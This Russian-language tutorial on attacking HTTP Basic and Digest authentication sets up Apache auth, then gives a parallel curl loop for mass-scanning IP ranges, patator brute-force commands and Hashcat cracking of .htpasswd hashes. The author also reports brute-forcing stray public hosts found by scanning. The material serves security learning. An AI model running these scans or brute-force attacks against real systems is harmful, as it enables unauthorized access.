Атаки на HTTP Basic и Digest аутентификацию


Оглавление

1. Что такое HTTP Basic и Digest аутентификация

2. Насколько актуальны HTTP Basic и Digest Authentication

3. Как включить защиту паролем с помощью HTTP Basic и Digest аутентификации

3.1 Как включить HTTP Basic аутентификацию в Apache (Kali Linux, Ubuntu, Debian, Linux Mint)

3.2 Как включить HTTP Digest аутентификацию в Apache (Kali Linux, Ubuntu, Debian, Linux Mint)

4. HTTP Basic и Digest аутентификация в командной строке

5. Поиск хостов с Basic и Digest аутентификацией

6. Брут-форс HTTP Basic и Digest аутентификаций

6.1 patator

6.2 Router Scan by Stas'M

7. Фильтры Wireshark для HTTP Basic и Digest аутентификации

8. Как взломать хеш HTTP Basic

8.1 HTTP Basic Auth в HTTP заголовке

8.2 HTTP Basic Auth в файле .htpasswd

9. Как взломать хеш HTTP Digest

9.1 HTTP Digest Auth в HTTP заголовке

9.2 HTTP Digest Auth в файле .htpasswd

Заключение


Что такое HTTP Basic и Digest аутентификация

HTTP Basic и Digest аутентификации предназначены для контроля доступа на уровне веб-сервера. Если при попытке открыть веб-страницу или войти в настройки роутера вы видите такое окно:


То это означает, что на веб-сервере используется аутентификация одного из этих видов.

Нам более привычна аутентификация с помощью веб-форм, когда чтобы попасть в раздел с ограниченным доступом мы вводим логин и пароль в форму на веб-странице, например:

Эти два вида аутентификаций довольно разные. Алгоритм работы аутентификации через веб форму входа примерно следующий:

  • пользователь вводит данные на веб-страницу и они передаются, обычно, методом POST на веб-сервер
  • веб-сервер передаёт принятые данные веб-приложению
  • веб-приложение сверяет присланные учётные данные с хранящимися в базе данных
  • если имя пользователь и пароль верны, то пользователю присылается маркер (токен) любого вида, который позволяет отличить пользователя, и даётся указание веб-браузеру сохранить его в кукиз
  • веб-брауезр сохраняет этот токен в cookie
  • сайт также запоминает токен и пользователя, которому он назначен
  • при каждом последующем запросе веб-браузер отправляет, среди прочих HTTP заголовков, и токен из cookie
  • теперь веб-сайт сверяет не логин и пароль, а токен из кукиз — если совпал, значит это авторизованный пользователь и ему можно показать ограниченный для доступа контент

Теперь, когда повсеместно используется шифрование HTTPS и перехват логина, пароля и кукиз стал практически невозможным, это довольно надёжный способ аутентификации. При добавлении защиты от брут-форса и политики, требующей сложных и длинных паролей, это весьма надёжный способ защиты доступа к данным пользователей.

Как можно догадаться, правильная и безопасная реализация описанного метода требует определённых усилий (проверка пароля, который обычно хранится в виде хеша, необходима база данных с паролями и токенами, нужно написать код веб-формы и код на стороне сервера, принимающий данные, получение и отправка кукиз и так далее).

Смотрите также «Брут-форс формы входа роутеров».

HTTP Basic и Digest аутентификации очень сильно отличаются. Во-первых, они очень простые для реализации — достаточно создать на сервере файл с хешами пользователей и подключить его к веб-серверу.

Во-вторых, проверка проходит на уровне веб-сервера, не нужно заботиться о реализации аутентификации в веб-приложении, на веб-сайте.

Но и минусов у HTTP Basic и Digest аутентификации слишком много:

  • при Basic пароль передаётся в открытом виде, а при Digest хоть и передаётся хеш, но он очень слаб к брут-форсу, а также уязвимый к атаке понижения до Basic
  • хеши паролей, которые хранятся на сервере, используют очень слабый для брут-форса алгоритм — легко взломать
  • протокол очень стандартизирован — все данные передаются в HTTP заголовках, от этого очень легко написать анализатор передаваемых данных. Как результат, очень многие программы для анализа сетевого трафика имеют встроенную функцию извлекать пароль в открытом виде из переданных данных (Wireshark, Ettercap, Bettercap и прочие). Что касается аутентификации с помощью веб-форм, то они почти всегда разные и это крайне затрудняет написание универсального парсера, извлекающего пароль из переданных данных
  • нет возможности настроить защиту от брут-форса, например, запрет авторизации при нескольких неудачных попытках. Веб-сайты могут реализовать такие защиты, а также, например, случайный маркер в форме, который должен быть передан обратно, иначе данные не будут приняты, ограничение на количество неудачных попыток и прочее.

Кстати, при HTTP Basic и Digest аутентификации не используются кукиз, поэтому чтобы не приходилось вводить пароль каждый раз при доступе к серверу, веб-браузер пользователя запоминает введённые логин и пароль и отправляет их при каждом последующем запросе — в результате создаётся ощущения, что веб-сервер нас запомнил.

Насколько актуальны HTTP Basic и Digest Authentication

Фактически, HTTP Basic и Digest Authentication нечасто используются на веб-сайтах. Но если нужно быстро закрыть доступ к сайту, например, на период реконструкции, то можно встретить такой способ защиты. По крайней мере, даже в 2020 году выходят инструкции как установить защиту паролем с помощью HTTP Basic и Digest Authentication, например «How To Set Up Password Authentication with Apache on Ubuntu 18.04».

Кстати, я совершенно случайно, используя показанный ниже метод поиска хостов с HTTP Basic аутентификацией, вместо диапазона 100.64.0.0-100.127.255.255 (локальные IP адреса провайдера) начал сканировать диапазон 100.16.0.0-100.31.255.255 (обычные IP адреса Интернета). Ошибку я заметил далеко до окончания сканирования, но уже собрал около сотни хостов с HTTP Basic Authentication. Так что вполне себе актуально.

Но где действительно всё хорошо с HTTP Basic аутентификацией, так это в роутерах! Производителям роутеров нравилось её использовать благодаря простоте реализации — никаких баз данных, никакой проверки кукиз, только простейшая настройка веб-сервера. А пользователям нравится не менять свои роутеры по 5-10 лет, поэтому армия уязвимых к брут-форсу роутеров уже ждёт нас.


Как включить защиту паролем с помощью HTTP Basic и Digest аутентификации

Но начнём мы с того, что настроем свой веб-сервер для защиты паролем папок с помощью HTTP Basic аутентификации и HTTP Digest аутентификации.

Во-первых, те, кто не нашёл серверы для тренировки, смогут тренироваться на своём собственном (плюс этика и всё такое).

Во-вторых, когда настраиваешь сам, смотришь на работу службы или протокола «изнутри», то можно увидеть другие возможные слабости и костыли.

Я покажу на примере Kali Linux, но практически наверняка эта же инструкция будет работать и в Ubuntu, Debian, Linux Mint и их производных.

Как включить HTTP Basic аутентификацию в Apache (Kali Linux, Ubuntu, Debian, Linux Mint)

Для начала нужно включить поддержку файлов .htaccess, чтобы веб-сервер использовал настройки из этих файлов — по умолчанию это отключено.

Откройте файл /etc/apache2/apache2.conf

sudo gedit /etc/apache2/apache2.conf

Найдите группу строк:

<Directory /var/www/>
	Options Indexes FollowSymLinks
	AllowOverride None
	Require all granted
</Directory>

и замените её на:

<Directory /var/www/>
	Options Indexes FollowSymLinks
	AllowOverride All
	Require all granted
</Directory>

Сохраните и закройте файл.

Перезапустим веб-сервер.

sudo systemctl restart apache2.service

Создайте папку, где будут защищённые паролем файлы:

sudo mkdir /var/www/html/basic-protected

С помощью утилиты htpasswd мы создадим файл с именем пользователя и хешем пароля. Если указана опция -c, то старый файл будет удалён, а новый создан. Утилита htpasswd присутствует и в Apache для Windows, но нужно указать полный путь до неё.

Общий вид команды:

sudo htpasswd -c /ПУТЬ/ДО/ФАЙЛА/.htpasswd ПОЛЬЗОВАТЕЛЬ

Пример:

sudo htpasswd -c /var/www/html/basic-protected/.htpasswd mial

Если файл .htpasswd уже существует, то для добавления ещё одного пользователя, без удаления старых, используйте эту же команду, но без опции -c:


sudo htpasswd /var/www/html/basic-protected/.htpasswd user1

Для смены пароля, вновь используйте эту же команду без опции -c, указав имя пользователя, чей пароль вы хотите поменять.

Конечно же файл .htpasswd рекомендуется хранить в директориях, не доступных для постороннего доступа (например, /etc/apache2/.htpasswd). Особенно не нужно его хранить в папках веб-сервера вместе с файлами сайтов. Но иногда веб-мастер в силу простоты или невозможности сохранить файл где-либо ещё (на виртуальных хостингах, например) хранит этот файл прямо вместе с файлами сайтов.

Поэтому при обнаружении HTTP Basic и Digest аутентификации всегда есть смысл поискать что-то похожее:

  • http://HOST/.htpassw
  • http://HOST/.htpassw.old
  • http://HOST/.htpassw.bac
  • http://HOST/.htpassw.zip

Посмотрим содержимое файла .htpasswd:

cat /var/www/html/basic-protected/.htpasswd

У меня это:

mial:$apr1$bX11Yg7/$1.yunXIMdEWph8AD3Jm7s0
user1:$apr1$qXQctsvc$wZO6QcHTWCQ5H1dYPsOwl.

Теперь создадим файл .htaccess:

sudo gedit /var/www/html/basic-protected/.htaccess

И скопируем в него:

AuthName "For registered members only"
AuthType Basic
Require valid-user
AuthUserFile /var/www/html/basic-protected/.htpasswd

Откройте в веб-браузере адрес http://localhost/basic-protected/ — вы должны увидеть форму для ввода имени пользователя и пароля.

Кстати, с программой htpasswd вы можете использовать опцию -B. Опция -B означает использовать для шифрования пароля bcrypt. В настоящее время это считается очень безопасным. Для наших тестов это безразлично, но для реальной защиты папки или сайта паролем рекомендуется выполнять показанные выше команды с опцией -B. В дополнении к этой опции вы можете использовать флаг -C со значением от 4 до 17. Он устанавливает время вычисления, используемое для алгоритма bcrypt (чем выше, тем безопаснее, но медленнее). Значением по умолчанию является 5.

Примечание: показанный способ (хранение файла .htpasswd в директории веб-сервера) универсален и может применяться даже на виртуальных хостингах. Но если у вас есть доступ к папке с настройками Apache (в производных Debian это /etc/apache2/), то храните этот файл там, то есть по пути /etc/apache2/.htpasswd. Инструкция с правильными для продакшена путями: «Как настроить аутентификацию по паролю с Apache в Debian, Ubuntu и производных».

Если вы хотите настроить базовую аутентификацию на Apache в Windows, то смотрите статью «Как защитить папку Apache паролем в Windows».

Как включить HTTP Digest аутентификацию в Apache (Kali Linux, Ubuntu, Debian, Linux Mint)

По умолчанию модуль Digest аутентификации отключён, включим его:

sudo a2enmod auth_digest

Если вы ещё этого не сделали, включите поддержку файлов .htaccess, чтобы веб-сервер использовал настройки из этих файлов — по умолчанию это отключено.

Откройте файл /etc/apache2/apache2.conf:

sudo gedit /etc/apache2/apache2.conf

Найдите группу строк:

<Directory /var/www/>
	Options Indexes FollowSymLinks
	AllowOverride None
	Require all granted
</Directory>

и замените её на:

<Directory /var/www/>
	Options Indexes FollowSymLinks
	AllowOverride All
	Require all granted
</Directory>

Сохраните и закройте файл.

Перезапустим веб-сервер.

sudo systemctl restart apache2.service

Создайте папку, где будут защищённые паролем файлы:


sudo mkdir /var/www/html/digest-protected

Для генерации хешей паролей нужно использовать команду htdigest. Если указать опцию -c, то будет создан новый файл, а старый удалён.

Общий формат команды:

sudo htdigest -c /ПУТЬ/ДО/ФАЙЛА/.htpasswd REALM ПОЛЬЗОВАТЕЛЬ

REALM — это область применения. Она соответствует директиве AuthName в файле .htaccess. То есть можно для одного пользователя установить разные пароли, изменяя значения REALM. В разных директивах можно менять значение AuthName в файле .htaccess и в зависимости от этого значения будет подходить тот или иной пароль.

Примеры команд:

sudo htdigest -c /var/www/html/digest-protected/.htpasswd USERS mial
sudo htdigest /var/www/html/digest-protected/.htpasswd USERS user1

Посмотрим содержимое файла .htpasswd:

cat /var/www/html/digest-protected/.htpasswd

Пример содержимого файла:

mial:USERS:48e54f80673b884a8d6f23f48aa2ade3
user1:USERS:8033e1980bcfb694719ae72793c792ec

Теперь создадим .htaccess:

sudo gedit /var/www/html/digest-protected/.htaccess

И скопируем в него следующее:

AuthName "USERS"
AuthType Digest
Require valid-user
AuthUserFile /var/www/html/digest-protected/.htpasswd
AuthDigestDomain /

Отроем в веб-браузере адрес http://localhost/digest-protected/ и убедимся, что теперь для доступа к странице необходим пароль.

HTTP Basic и Digest аутентификация в командной строке

Чтобы узнать, какой тип аутентификации используется, достаточно посмотреть заголовки. Их можно посмотреть прямо в веб-браузере, открыв инструменты разработчика (F12).

Подробности о работе в Инструментах разработчика веб-браузеров смотрите в статьях:

Можно также посмотреть в командной строке с помощью утилиты cURL:

curl -s -v http://localhost/basic-protected/ > /dev/null

Для Basic аутентификации будет показан примерно следующий HTTP заголовок:

< WWW-Authenticate: Basic realm="For registered members only"

curl -s -v http://localhost/digest-protected/ > /dev/null

Для Digest будет присутствовать примерно следующий заголовок:

< WWW-Authenticate: Digest realm="USERS", nonce="5Ud3naayBQA=2753b701c1b09141fab25b13510f05570f280a8f", algorithm=MD5, domain="/", qop="auth"

 

Чтобы в cURL выполнить авторизацию, то есть ввести логин и пароль для входа к ограниченным данным, используйте опцию —user 'ПОЛЬЗОВАТЕЛЬ:ПАРОЛЬ', а также одну из опций —basic или —digest — в зависимости от типа аутентификации.

Пример для Basic:

curl -v --basic --user 'mial:1234' http://localhost/basic-protected/

Пример для Digest:

curl -v --digest --user 'mial:1234' http://localhost/digest-protected/

Обратите внимание, что для Digest аутентификации ввод данных выполняется в 2 этапа и хотя бы один раз в любом случае получаем статус ответа 401 Unauthorized.

Поиск хостов с Basic и Digest аутентификацией

«Полезной нагрузкой», которая может найти хосты с Basic и Digest аутентификацией, может быть команда вида:

curl -v ХОСТ:ПОРТ 2> >(grep -o -i -E Unauthorized) > /dev/null

Примеры:

curl -v 100.101.7.161:8080 2> >(grep -o -i -E Unauthorized) > /dev/null
curl -v 100.19.18.59 2> >(grep -o -i -E Unauthorized) > /dev/null

Если вы запутались в знаках >, то рекомендую вам разобраться, поскольку здесь используется довольно занимательная конструкция, которая имеет следующий результат:

  • стандартный вывод уничтожается (конструкция «> /dev/null»)
  • стандартный вывод ошибок stderr перенаправляется для обработки команде grep (конструкция «2> >(grep -o -i -E Unauthorized)»)

Дело в том, что HTTP заголовки команда cURL выводит в stderr, а команда grep не ищет по stderr. Но мы не может сделать просто перенаправление stderr для слияния со стандартным выводом, то есть не можем 2>&1, поскольку текст страницы может содержать слово «Unauthorized» и мы получим ложное срабатывание. Поэтому мы используем указанную выше конструкцию — вывод ошибок обрабатывается, стандартный вывод уничтожается.

Если вы хотите разобраться в этом глубже, то смотрите статью «Операторы перенаправления вывода в Bash: что означает <<, <<<, < <(КОМАНДА), 2>&1 и другие».

Для поиска хостов мы будем использовать конструкцию вида:

if [[ "`timeout 3 curl -v ХОСТ 2> >(grep -o -i -E Unauthorized) > /dev/null`" ]]; then 
	echo ХОСТ; 
fi

То есть если в заголовках ХОСТА найдена срока «Unauthorized», то выводим адрес этого хоста.

Чтобы сделать эту кастомную полезную нагрузку многопоточной, я буду использовать утилиту Parallel (смотрите «Руководство по использованию GNU Parallel»).

Пример сканирования портов 80 и 8080 диапазона IP адресов 100.101.0.0-100.101.255.255 с выводом данных прямо на экран:

parallel -j250 'if [[ "`timeout 3 curl -v 100.101.{1}.{2}:80 2> >(grep -o -i -E Unauthorized) > /dev/null`" ]]; then echo 100.101.{1}.{2}; fi; if [[ "`timeout 3 curl -v 100.101.{1}.{2}:8080 2> >(grep -o -i -E Unauthorized) > /dev/null`" ]]; then echo 100.101.{1}.{2}:8080; fi' ::: {1..255} ::: {1..255}

Пример сканирования портов 80 и 8080 диапазона IP адресов 100.64.0.0-100.127.255.255 с сохранением данных в файл auth_basic.txt:

parallel -j250 'if [[ "`timeout 3 curl -v 100.{3}.{1}.{2}:80 2> >(grep -o -i -E Unauthorized) > /dev/null`" ]]; then echo 100.{3}.{1}.{2}; fi; if [[ "`timeout 3 curl -v 100.{3}.{1}.{2}:8080 2> >(grep -o -i -E Unauthorized) > /dev/null`" ]]; then echo 100.{3}.{1}.{2}:8080; fi' ::: {1..255} ::: {1..255} ::: {64..127} > auth_basic.txt

Брут-форс HTTP Basic и Digest аутентификаций

Basic и Digest стандартизированы и довольно просты для реализации брут-форса. Поэтому их поддерживают все популярные брут-форсеры, в том числе:

patator

Я покажу команды на примере patator. Модуль для брут-форса называется http_fuzz.

Команда для запуска брут-форса HTTP Basic аутентификации, когда имена пользователей и пароли находятся в разных файлах:

patator http_fuzz auth_type=basic url=http://FILE0 user_pass=FILE1:FILE2 0=hosts.txt 1=users.txt 2=pass.txt -x ignore:code=401

В этой команде:

  • hosts.txt — имя файла с хостами
  • users.txt — имя файла с именами пользователей
  • pass.txt — имя файла с паролями

Всё остальное в этой команде можно оставить без изменений.

Команда для запуска брут-форса HTTP Basic аутентификации и когда имена пользователей и пароли находятся в одном комбинированном файле:

patator http_fuzz auth_type=basic url=http://FILE1 user_pass=COMBO00:COMBO01 0=combos.txt 1=hosts.txt -x ignore:code=401

В этой команде:

  • combos.txt — комбинированный файл с именами пользователей и паролями в формате ЛОГИН:ПАРОЛЬ
  • hosts.txt — имя файла с хостами

Команды для запуска брут-форса HTTP Digest аутентификации точно такие, всего лишь замените опцию auth_type=basic на auth_type=digest.

Router Scan by Stas'M

Router Scan тоже прекрасно брут-форсит эти типы аутентификации, поскольку они активно применялись на роутерах прошлых поколений:

Возможно, для ваших целей стоит задуматься о дополнении или изменении поставляемых с Router Scan словарей, поскольку они всё-таки заточены под роутеры. Выше пример брут-форса IP адресов, которые я собрал случайно просканировав неверный диапазон. Как можно увидеть, даже с дефолтными словарями удалось подобрать пару паролей (правда один из этих хостов роутер, а второй DVR.

Фильтры Wireshark для HTTP Basic и Digest аутентификации

Wireshark может фильтровать сессии аутентификации. Для этого имеются следующие фильтры:

Все сессии аутентификации (BASIC/DIGEST/NTLM):

http.authorization

Только HTTP Basic аутентификация:

http.authbasic

Только HTTP Basic аутентификация с определёнными учётными данными:

http.authbasic == "ЛОГИН:ПАРОЛЬ"

Как взломать хеш HTTP Basic

HTTP Basic Auth в HTTP заголовке

Если вы перехватили передаваемую аутентификацию по сети, например, заголовок:

Authorization: Basic bWlhbDoxMjM0

то вставьте строку из этого заголовка в команду вида:

echo СТРОКА | base64 -d

и вы получите логин и пароль в виде простого текста.

Например:

echo bWlhbDoxMjM0 | base64 -d
mial:1234

HTTP Basic Auth в файле .htpasswd

Если вам удалось найти файл .htpasswd с хешами, то там вы увидите примерно следующее:

mial:$apr1$bX11Yg7/$1.yunXIMdEWph8AD3Jm7s0
user1:$apr1$qXQctsvc$wZO6QcHTWCQ5H1dYPsOwl.

То есть файл включает имя пользователя и хеш.

Для взлома этого хеша в Hashcat, используйте часть после двоеточия, то есть уберите имя пользователя. В качестве режима хеша укажите -m 1600 (то есть Apache $apr1$ MD5, md5apr1, MD5 (APR)).

Если программа htpasswd использовалась с опцией -B (что рекомендуется), то для шифрования хеша вместо MD5 используется bcrypt, который считается очень надёжным. Пример хеша:

$2y$05$IdmDNv2TtlEzfec9VkedDOmpwNlB5KsBWlZQ3TqyLowOxxm5vna52

В данном случае нужно использовать режим Hashcat -m 3200.

В любом случае вы сможете определить тип хеша воспользовавшись этим онлайн сервисом по определению типов хешей.

Как взломать хеш HTTP Digest

HTTP Digest Auth в HTTP заголовке

Для взлома перехваченной Digest вам нужно собрать хеш самостоятельно. Для его взлома используется тип хеша -m 11400 = SIP digest authentication (MD5)

Формат хеша следующий:

$sip$*[URI_SERVER]*[URI_CLIENT]*[USERNAME]*[REALM]*[METHOD]*[URI_PREFIX]*[URI_RESOURCE]*[URI_SUFFIX]*[NONCE_SERVER]*[NONCE_CLIENT]*[NONCE_COUNT]*[QOP]*[DIRECTIVE]*[MD5]

Подробности на страницах:

HTTP Digest Auth в файле .htpasswd

Пример содержимого файла .htpasswd:

mial:USERS:48e54f80673b884a8d6f23f48aa2ade3
user1:USERS:8033e1980bcfb694719ae72793c792ec

Хешами здесь являются строки после второго двоеточия, то есть, например, 48e54f80673b884a8d6f23f48aa2ade3.

Данный хеш вычисляется по формуле:

echo -n 'ИМЯ:REALM:ПАРОЛЬ' | md5sum

Пример:

echo -n 'mial:USERS:1234' | md5sum
48e54f80673b884a8d6f23f48aa2ade3 -

Для взлома этого хеша используйте алгоритм MD5 с номером -m 0. Пароль составьте из трёх элементов, разделённых двумя двоеточиями: «ИМЯ:REALM:ПАРОЛИ». Третья часть ПАРОЛИ должна меняться, а первые две должны остаться неизменными.

Заключение

Аутентификация Basic и Digest в настоящее время считаются слабыми. Если вам нужно использовать какую-то из них, то рекомендуется Basic в паре с HTTPS, чтобы невозможно было перехватить пароль, поскольку хотя Digest и не пересылает пароль в открытом виде, он очень быстр для брут-форса.


Рекомендуется Вам:

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *